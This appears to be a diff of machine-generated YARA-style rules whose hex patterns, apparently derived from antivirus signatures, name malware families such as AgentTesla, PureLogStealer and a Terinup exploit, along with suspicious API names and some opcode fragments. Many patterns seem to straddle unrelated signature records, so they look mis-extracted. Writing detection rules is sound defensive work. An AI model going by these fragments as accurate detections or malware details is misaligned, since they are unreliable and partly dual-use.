4c 6f 67 69 6e 44 61 74 61 46 69 6c 65 01 00 0d 01 67 65 74 55 73 65 44 61 74 61 44 69 72 01 00 0c 01 48 74 78 70 45 78 63 68 61 6e 67 65 00 00 78 bb 00 00 06 00 06 } //26987 + $a_52_3 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 33 37 32 21 4d 54 42 00 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 09 81 01 42 6c 6f } //21320 + $a_6f_4 = {79 01 00 25 81 01 24 65 61 30 31 64 63 65 37 2d 64 64 37 62 2d 34 32 64 33 2d 62 66 66 66 2d 62 38 65 65 39 66 33 30 34 64 31 39 01 00 0e 81 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 10 81 01 } //27491 + $a_6d_5 = {61 73 65 36 34 53 74 72 69 6e 67 00 00 78 bb 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 58 31 32 33 21 4d 54 42 00 01 00 22 81 01 67 65 72 20 6f 6d 73 74 69 6c 6c 69 6e 67 73 62 6f 72 64 20 6c 72 72 65 64 73 62 6c 75 73 65 72 6e 65 01 00 0c 81 01 73 70 6c 65 6e 69 7a 61 74 69 } //29254 + condition: + ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*26987+(#a_52_3 & 1)*21320+(#a_6f_4 & 1)*27491+(#a_6d_5 & 1)*29254) >=6 + +} +rule _InfrastructureShared_13809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -145450,7 +155111,7 @@ rule _InfrastructureShared_12962{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28524+(#a_52_2 & 1)*21320+(#a_01_3 & 1)*2048+(#a_6e_4 & 1)*26996+(#a_6f_5 & 1)*384) >=6 } -rule _InfrastructureShared_12963{ +rule _InfrastructureShared_13810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -145464,7 +155125,7 @@ rule _InfrastructureShared_12963{ ((#a_54_0 & 1)*18467+(#a_75_2 & 1)*385+(#a_47_3 & 1)*21076+(#a_43_4 & 1)*29806+(#a_2e_5 & 1)*28261) >=6 } -rule _InfrastructureShared_12964{ +rule _InfrastructureShared_13811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -145474,12 +155135,12 @@ rule _InfrastructureShared_12964{ $a_65_2 = {6f 72 74 00 00 78 bb 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 49 4b 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 11 80 01 67 65 74 5f 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 1d 80 01 46 6f 72 6d 44 65 6c 65 67 } //24427 $a_73_3 = {53 6d 61 72 74 45 78 74 65 6e 73 69 6f 6e 73 01 00 09 80 01 64 6f 68 74 65 4d 74 65 47 01 00 05 80 01 61 72 6f 6c 46 01 00 13 80 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 46 4c 3a 54 72 6f 6a 61 6e 3a 4d } //29793 $a_2f_4 = {65 6d 63 6f 73 2e 47 4f 21 4d 54 42 00 01 00 1a 81 01 6d 79 6e 61 6d 65 73 70 76 76 76 76 76 76 76 76 76 76 76 76 76 76 76 61 63 65 01 00 0a 81 01 66 64 64 68 46 61 62 63 49 65 01 00 0b 81 01 4d 61 63 63 63 63 63 63 63 69 6e 01 } //18771 - $a_01_5 = {4d 73 73 73 73 73 73 73 61 69 6e 01 00 0b 81 01 4d 61 73 73 73 73 73 73 73 69 6e 01 00 0a 81 01 4d 61 69 61 61 61 61 61 61 6e 01 00 0b 81 01 53 61 6d 73 73 73 73 73 70 6c 65 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 47 6f 6d 5f 50 6c 61 79 65 72 2e 52 47 37 } //2816 + $a_01_5 = {4d 73 73 73 73 73 73 73 61 69 6e 01 00 0b 81 01 4d 61 73 73 73 73 73 73 73 69 6e 01 00 0a 81 01 4d 61 69 61 61 61 61 61 61 6e 01 00 0b 81 01 53 61 6d 73 73 73 73 73 70 6c 65 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 65 72 69 6e 75 70 00 01 00 0f 01 47 64 69 50 72 } //2816 condition: ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*23553+(#a_65_2 & 1)*24427+(#a_73_3 & 1)*29793+(#a_2f_4 & 1)*18771+(#a_01_5 & 1)*2816) >=7 } -rule _InfrastructureShared_12965{ +rule _InfrastructureShared_13812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -145487,14 +155148,15 @@ rule _InfrastructureShared_12965{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 49 4b 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 11 80 01 67 65 74 5f 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 1d 80 } //18467 $a_72_1 = {44 65 6c 65 67 61 74 65 73 2e 53 6d 61 72 74 45 78 74 65 6e 73 69 6f 6e 73 01 00 09 80 01 64 6f 68 74 65 4d 74 65 47 01 00 05 80 01 61 72 6f 6c 46 01 00 13 80 01 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 46 4c 3a 54 72 6f 6a 61 6e 3a 4d } //17921 $a_2f_2 = {65 6d 63 6f 73 2e 47 4f 21 4d 54 42 00 01 00 1a 81 01 6d 79 6e 61 6d 65 73 70 76 76 76 76 76 76 76 76 76 76 76 76 76 76 76 61 63 65 01 00 0a 81 01 66 64 64 68 46 61 62 63 49 65 01 00 0b 81 01 4d 61 63 63 63 63 63 63 63 69 6e 01 } //18771 - $a_01_3 = {4d 73 73 73 73 73 73 73 61 69 6e 01 00 0b 81 01 4d 61 73 73 73 73 73 73 73 69 6e 01 00 0a 81 01 4d 61 69 61 61 61 61 61 61 6e 01 00 0b 81 01 53 61 6d 73 73 73 73 73 70 6c 65 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 47 6f 6d 5f 50 6c 61 79 65 72 2e 52 47 37 } //2816 - $a_4d_5 = {6c 61 79 65 72 47 6c 6f 62 61 6c 53 45 54 55 50 01 00 07 80 01 47 4f 4d 2e 45 58 45 01 00 11 80 01 70 6c 61 79 65 72 2e 67 6f 6d 6c 61 62 2e 63 6f 6d 01 00 0c 80 01 50 72 65 73 65 6e 74 4f 66 66 65 72 01 00 0b 80 01 41 63 63 65 70 74 4f } //18177 - $a_72_6 = {00 0c 80 01 44 65 63 6c 69 6e 65 4f 66 66 65 72 01 00 0a 80 01 4c 6f 61 64 4f 66 66 65 72 73 01 00 0c 80 01 61 63 74 69 76 65 5f 6f 66 66 65 72 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 57 21 4d 54 42 00 01 00 } //26214 + $a_01_3 = {4d 73 73 73 73 73 73 73 61 69 6e 01 00 0b 81 01 4d 61 73 73 73 73 73 73 73 69 6e 01 00 0a 81 01 4d 61 69 61 61 61 61 61 61 6e 01 00 0b 81 01 53 61 6d 73 73 73 73 73 70 6c 65 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 65 72 69 6e 75 70 00 01 00 0f 01 47 64 69 50 72 } //2816 + $a_65_4 = {54 68 75 6e 6b 01 00 12 01 43 4c 49 50 4f 42 4a 5f 70 70 6f 47 65 74 50 61 74 68 01 00 14 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 41 73 55 73 65 72 57 01 00 0b 00 63 6d 64 2e 65 78 65 20 2f 54 3a 01 00 15 01 43 6f 6e 76 65 72 74 53 74 72 69 6e 67 53 69 64 54 6f 53 69 64 01 00 0d 01 43 72 65 61 74 65 52 65 63 74 52 67 6e 01 00 08 01 2a 53 59 53 } //28265 + $a_2a_5 = {00 0d 01 4e 74 43 72 65 61 74 65 54 6f 6b 65 6e 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 47 6f 6d 5f 50 6c 61 79 65 72 2e 52 47 37 00 01 00 14 80 01 47 4f 4d 50 6c 61 } //17748 + $a_47_6 = {6f 62 61 6c 53 45 54 55 50 01 00 07 80 01 47 4f 4d 2e 45 58 45 01 00 11 80 01 70 6c 61 79 65 72 2e 67 6f 6d 6c 61 62 2e 63 6f 6d 01 00 0c 80 01 50 72 65 73 65 6e 74 4f 66 66 65 72 01 00 0b 80 01 41 63 63 65 70 74 4f 66 66 65 72 01 00 0c 80 01 44 65 63 6c 69 6e 65 4f 66 66 65 72 01 00 0a 80 01 4c 6f 61 64 4f 66 66 65 72 73 01 00 0c 80 01 61 } //25977 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*17921+(#a_2f_2 & 1)*18771+(#a_01_3 & 1)*2816+(#a_4d_5 & 1)*18177+(#a_72_6 & 1)*26214) >=7 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*17921+(#a_2f_2 & 1)*18771+(#a_01_3 & 1)*2816+(#a_65_4 & 1)*28265+(#a_2a_5 & 1)*17748+(#a_47_6 & 1)*25977) >=7 } -rule _InfrastructureShared_12966{ +rule _InfrastructureShared_13813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -145502,16 +155164,33 @@ rule _InfrastructureShared_12966{ $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 47 4f 21 4d 54 42 00 01 00 1a 81 01 6d 79 6e 61 6d 65 73 70 76 76 76 76 76 76 76 76 76 76 76 76 76 76 76 61 63 65 01 00 0a 81 01 66 64 64 68 46 61 62 63 } //16675 $a_00_1 = {0b } //25929 $a_61_2 = {63 63 63 63 63 63 69 6e 01 00 0b 81 01 4d 73 73 73 73 73 73 73 61 69 6e 01 00 0b 81 01 4d 61 73 73 73 73 73 73 73 69 6e 01 00 0a 81 01 4d 61 69 61 61 61 61 61 61 6e 01 00 0b 81 01 53 61 6d 73 73 73 73 73 70 6c 65 01 00 11 81 01 49 } //385 - $a_62_3 = {67 67 65 72 50 72 65 73 65 6e 74 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 47 6f 6d 5f 50 6c 61 79 65 72 2e 52 47 37 00 01 00 14 80 01 47 4f 4d 50 6c 61 79 65 72 47 6c 6f 62 61 6c 53 45 54 55 50 01 00 07 80 01 47 4f 4d 2e 45 58 45 01 00 11 } //17523 - $a_6c_4 = {79 65 72 2e 67 6f 6d 6c 61 62 2e 63 6f 6d 01 00 0c 80 01 50 72 65 73 65 6e 74 4f 66 66 65 72 01 00 0b 80 01 41 63 63 65 70 74 4f 66 66 65 72 01 00 0c 80 01 44 65 63 6c 69 6e 65 4f 66 66 65 72 01 00 0a 80 01 4c 6f 61 64 4f 66 66 65 72 73 01 00 0c 80 01 61 63 74 69 76 65 5f 6f 66 66 65 72 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 48 53 } //384 - $a_54_5 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 57 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 11 80 } //21076 - $a_74_6 = {52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 05 80 01 46 6c 6f 72 61 01 00 10 80 01 5a 4a 34 46 41 37 45 5a 37 35 45 43 55 4a 42 5a 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 01 00 06 80 01 } //26369 - $a_6f_7 = {65 00 00 78 bb 00 00 09 00 09 00 08 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 5a 65 68 6d 78 79 2e 41 32 00 02 00 0e 01 61 67 65 6e 74 2e 77 6f 72 6b 70 61 74 68 02 00 0d 01 61 67 65 6e 74 2e 74 69 6d 65 67 65 74 02 00 13 01 61 67 65 6e 74 2e 6d 61 78 75 70 6c 6f 61 64 73 69 7a 65 01 00 0f 01 49 4e 53 54 41 4c 4c 5f 53 54 41 52 54 55 50 01 00 10 01 } //28233 + $a_62_3 = {67 67 65 72 50 72 65 73 65 6e 74 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 65 72 69 6e 75 70 00 01 00 0f 01 47 64 69 50 72 69 6e 74 65 72 54 68 75 6e 6b 01 00 12 01 43 4c 49 50 4f 42 4a 5f 70 70 6f 47 65 74 50 61 74 68 01 00 14 01 43 72 65 61 74 } //17523 + $a_6f_4 = {65 73 73 41 73 55 73 65 72 57 01 00 0b 00 63 6d 64 2e 65 78 65 20 2f 54 3a 01 00 15 01 43 6f 6e 76 65 72 74 53 74 72 69 6e 67 53 69 64 54 6f 53 69 64 01 00 0d 01 43 72 65 61 74 65 52 65 63 74 52 67 6e 01 00 08 01 2a 53 59 53 54 45 4d 2a 01 00 0d 01 4e 74 43 72 65 61 74 65 54 6f 6b 65 6e 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a } //20581 + $a_42_5 = {6e 64 6c 65 72 3a 57 69 6e 33 32 2f 47 6f 6d 5f 50 6c 61 79 65 72 2e 52 47 37 00 01 00 14 80 01 47 4f 4d 50 6c 61 79 65 72 47 6c 6f 62 61 6c 53 45 54 55 50 01 00 07 80 01 47 4f 4d 2e 45 58 45 01 } //21840 + $a_01_6 = {70 6c 61 79 65 72 2e 67 6f 6d 6c 61 62 2e 63 6f 6d 01 00 0c 80 01 50 72 65 73 65 6e 74 4f 66 66 65 72 01 00 0b 80 01 41 63 63 65 70 74 4f 66 66 65 72 01 00 0c 80 01 44 65 63 6c 69 6e 65 4f 66 66 65 72 01 00 0a 80 01 4c 6f 61 64 4f 66 66 65 72 73 01 00 0c 80 01 61 63 74 69 76 65 5f 6f 66 66 65 72 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //4352 + $a_67_7 = {6e 74 54 65 73 6c 61 2e 4f 58 48 57 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 11 80 01 67 65 74 5f 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 } //12108 condition: - ((#a_4c_0 & 1)*16675+(#a_00_1 & 1)*25929+(#a_61_2 & 1)*385+(#a_62_3 & 1)*17523+(#a_6c_4 & 1)*384+(#a_54_5 & 1)*21076+(#a_74_6 & 1)*26369+(#a_6f_7 & 1)*28233) >=8 + ((#a_4c_0 & 1)*16675+(#a_00_1 & 1)*25929+(#a_61_2 & 1)*385+(#a_62_3 & 1)*17523+(#a_6f_4 & 1)*20581+(#a_42_5 & 1)*21840+(#a_01_6 & 1)*4352+(#a_67_7 & 1)*12108) >=8 } -rule _InfrastructureShared_12967{ +rule _InfrastructureShared_13814{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 65 72 69 6e 75 70 00 01 00 0f 01 47 64 69 50 72 69 6e 74 65 72 54 68 75 6e 6b 01 00 12 01 43 4c 49 50 4f 42 4a 5f 70 70 6f 47 65 74 50 61 74 68 01 00 14 01 43 72 65 61 74 65 50 72 6f } //16675 + $a_73_1 = {73 55 73 65 72 57 01 00 0b 00 63 6d 64 2e 65 78 65 20 2f 54 3a 01 00 15 01 43 6f 6e 76 65 72 74 53 74 72 69 6e 67 53 69 64 54 6f 53 69 64 01 00 0d 01 43 72 65 61 74 65 52 65 63 74 52 67 6e 01 00 08 01 2a 53 59 53 54 45 4d 2a 01 00 0d 01 4e 74 43 72 65 61 74 65 54 6f 6b 65 6e 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 50 55 41 42 75 } //25955 + $a_65_2 = {3a 57 69 6e 33 32 2f 47 6f 6d 5f 50 6c 61 79 65 72 2e 52 47 37 00 01 00 14 80 01 47 4f 4d 50 6c 61 79 65 72 47 6c 6f 62 61 6c 53 45 54 55 50 01 00 07 80 01 47 4f 4d 2e 45 58 45 01 00 11 80 01 70 6c 61 79 65 72 2e 67 6f 6d 6c 61 62 2e 63 6f 6d 01 00 0c 80 01 50 72 65 73 65 6e 74 4f 66 66 65 72 01 00 0b 80 01 41 63 63 65 70 } //25710 + $a_66_3 = {72 01 00 0c 80 01 44 65 63 6c 69 6e 65 4f 66 66 65 72 01 00 0a 80 01 4c 6f 61 64 4f 66 66 65 72 73 01 00 0c 80 01 61 63 74 69 76 65 5f 6f 66 66 65 72 00 00 78 bb 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 48 57 21 4d 54 42 00 01 } //20340 + $a_01_4 = {67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 11 80 01 67 65 74 5f 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 05 80 01 46 6c 6f 72 61 01 00 10 80 01 5a 4a 34 46 41 37 45 5a 37 35 45 43 55 4a 42 5a 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 01 00 06 80 } //4864 + $a_76_5 = {6b 65 00 00 78 bb 00 00 09 00 09 00 08 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 5a 65 68 6d 78 79 2e 41 32 00 02 00 0e 01 61 67 65 6e 74 2e 77 6f 72 6b 70 61 74 68 02 00 0d 01 61 67 65 6e 74 2e 74 69 6d 65 67 65 74 02 00 13 01 61 67 65 6e 74 2e 6d 61 78 75 70 6c 6f 61 64 73 69 7a 65 01 00 0f 01 49 4e 53 54 41 4c 4c 5f 53 54 } //18689 + $a_55_6 = {01 00 10 01 49 4e 53 54 41 4c 4c 5f 52 45 47 49 53 54 52 59 01 00 10 01 49 4e 53 54 41 4c 4c 5f 53 48 4f 52 54 43 55 54 01 00 0e 01 46 49 4e 44 5f 53 48 4f 52 54 43 55 54 53 01 00 10 01 52 45 50 4c 41 43 45 5f 53 48 4f 52 54 43 55 54 00 00 78 bb 00 00 } //21057 + $a_00_7 = {03 00 21 23 54 45 4c 50 45 52 3a } //11 + condition: + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25955+(#a_65_2 & 1)*25710+(#a_66_3 & 1)*20340+(#a_01_4 & 1)*4864+(#a_76_5 & 1)*18689+(#a_55_6 & 1)*21057+(#a_00_7 & 1)*11) >=8 + +} +rule _InfrastructureShared_13815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -145527,7 +155206,7 @@ rule _InfrastructureShared_12967{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*31073+(#a_52_3 & 1)*21320+(#a_65_4 & 1)*26214+(#a_00_5 & 1)*16686+(#a_64_6 & 1)*28524+(#a_00_7 & 1)*21827) >=8 } -rule _InfrastructureShared_12968{ +rule _InfrastructureShared_13816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -145537,14 +155216,14 @@ rule _InfrastructureShared_12968{ $a_3a_2 = {53 54 52 3a 5a 65 68 6d 78 79 2e 41 32 00 02 00 0e 01 61 67 65 6e 74 2e 77 6f 72 6b 70 61 74 68 02 00 0d 01 61 67 65 6e 74 2e 74 69 6d 65 67 65 74 02 00 13 01 61 67 65 6e 74 2e 6d 61 78 75 70 6c 6f 61 64 73 69 7a 65 01 00 0f 01 49 4e 53 54 41 4c } //17744 $a_54_3 = {52 54 55 50 01 00 10 01 49 4e 53 54 41 4c 4c 5f 52 45 47 49 53 54 52 59 01 00 10 01 49 4e 53 54 41 4c 4c 5f 53 48 4f 52 54 43 55 54 01 00 0e 01 46 49 4e 44 5f 53 48 4f 52 54 43 55 54 53 01 00 10 01 52 45 50 4c 41 43 45 5f 53 48 4f 52 54 43 55 54 00 } //24396 $a_00_4 = {00 0b 00 0b 00 03 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 4d 53 49 4c 2f 44 6f 74 64 6f 00 01 00 2a 01 3c 4d 6f 64 75 6c 65 3e 00 64 6f 77 6e 6c 6f 61 64 2e 65 78 65 00 50 72 6f 67 72 61 6d 00 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 01 00 2a 01 3c 4d 6f 64 75 6c 65 3e 00 64 6f 77 6e 6c 6f 61 64 2e 65 78 65 00 50 72 6f 67 72 61 6d 00 66 69 6c 65 64 6f 77 6e 6c 6f 61 64 0a 00 3a 01 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 66 00 69 00 6c 00 65 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 00 } //30720 - $a_00_5 = {00 0c 00 0c 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 39 30 36 32 32 31 21 4d 54 42 00 06 00 16 81 01 37 35 37 38 38 35 35 35 5a 5a 5a 43 55 30 34 42 5a 44 43 35 38 34 01 00 0a 81 01 4c 69 62 72 61 72 79 33 36 30 01 00 09 01 48 61 73 68 74 61 62 6c 65 01 00 18 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 0e 01 54 72 61 6e 73 66 6f 72 6d 42 6c 6f 63 6b 01 00 0f 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 00 } //30720 - $a_00_6 = {00 0d 00 0c 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 53 49 42 41 21 4d 54 42 00 02 00 19 02 52 00 45 00 47 00 45 00 44 00 49 00 54 00 90 02 20 44 00 4c 00 4c 00 90 00 02 00 0f 02 52 45 47 45 44 49 54 90 02 20 44 4c 4c 90 00 01 00 15 02 50 00 6c 00 75 00 67 00 69 00 6e 00 90 02 20 4d 00 65 00 90 00 01 00 0d 02 50 6c 75 67 69 6e 90 02 20 4d 65 90 00 0a 00 27 02 8b 44 24 04 56 8b 74 24 0c 33 c9 85 f6 7e 90 01 01 8a 14 01 80 ea 90 01 01 80 f2 90 01 01 88 14 01 41 3b ce 7c 90 00 00 } //30720 - $a_00_7 = {00 0e 00 0e 00 05 00 21 23 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 4b 51 21 4d 54 42 00 0a 00 3a 03 2c 3e 06 02 90 01 05 0b 07 16 90 01 05 0c 90 01 05 0d 08 09 90 01 05 09 16 6a 90 01 05 09 13 04 de 1c 08 2c 06 08 90 01 05 dc 07 2c 06 07 90 01 05 dc 06 02 90 01 05 2a 90 00 01 00 0d 81 01 44 65 66 6c 61 74 65 53 74 72 65 61 6d 01 00 0f 81 01 43 6f 6d 70 72 65 73 73 69 6f 6e 4d 6f 64 65 01 00 14 80 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 10 80 01 54 6f 4c 6f 77 65 72 49 6e 76 61 72 69 61 6e 74 00 } //30720 + $a_00_5 = {00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 53 74 65 61 6c 65 72 2e 5a 45 57 21 4d 54 42 00 0a 00 5f 03 72 49 04 00 70 38 77 00 00 00 38 7c 00 00 00 72 7b 04 00 70 38 78 00 00 00 38 7d 00 00 00 16 2d ee 38 7b 00 00 00 38 80 00 00 00 08 06 6f 90 01 01 00 00 0a 08 07 6f 90 01 01 00 00 0a 08 6f 90 01 01 01 00 0a 0d 2b 10 2b 11 16 2b 11 8e 69 6f 90 01 01 01 00 0a 13 04 de 26 09 2b ed 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 } //30720 + $a_00_6 = {00 0c 00 0c 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 39 30 36 32 32 31 21 4d 54 42 00 06 00 16 81 01 37 35 37 38 38 35 35 35 5a 5a 5a 43 55 30 34 42 5a 44 43 35 38 34 01 00 0a 81 01 4c 69 62 72 61 72 79 33 36 30 01 00 09 01 48 61 73 68 74 61 62 6c 65 01 00 18 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 0e 01 54 72 61 6e 73 66 6f 72 6d 42 6c 6f 63 6b 01 00 0f 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 00 } //30720 + $a_00_7 = {00 0d 00 0c 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 53 49 42 41 21 4d 54 42 00 02 00 19 02 52 00 45 00 47 00 45 00 44 00 49 00 54 00 90 02 20 44 00 4c 00 4c 00 90 00 02 00 0f 02 52 45 47 45 44 49 54 90 02 20 44 4c 4c 90 00 01 00 15 02 50 00 6c 00 75 00 67 00 69 00 6e 00 90 02 20 4d 00 65 00 90 00 01 00 0d 02 50 6c 75 67 69 6e 90 02 20 4d 65 90 00 0a 00 27 02 8b 44 24 04 56 8b 74 24 0c 33 c9 85 f6 7e 90 01 01 8a 14 01 80 ea 90 01 01 80 f2 90 01 01 88 14 01 41 3b ce 7c 90 00 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_3a_2 & 1)*17744+(#a_54_3 & 1)*24396+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720) >=8 } -rule _InfrastructureShared_12969{ +rule _InfrastructureShared_13817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 08 00 21 " @@ -145556,24 +155235,36 @@ rule _InfrastructureShared_12969{ $a_01_4 = {46 49 4e 44 5f 53 48 4f 52 54 43 55 54 53 } //1 FIND_SHORTCUTS $a_01_5 = {52 45 50 4c 41 43 45 5f 53 48 4f 52 54 43 55 54 } //1 REPLACE_SHORTCUT $a_bb_6 = {00 0b 00 0b 00 03 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 4d 53 49 4c 2f 44 6f 74 64 6f 00 01 00 2a 01 3c 4d 6f 64 75 6c 65 3e 00 64 6f 77 6e 6c 6f 61 64 2e 65 78 65 00 50 72 6f 67 72 61 6d 00 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 01 00 2a 01 3c 4d 6f 64 75 6c 65 3e 00 64 6f 77 6e 6c 6f 61 64 2e 65 78 65 00 50 72 6f 67 72 61 6d 00 66 69 6c 65 64 6f 77 6e } //0 - $a_64_7 = {00 3a 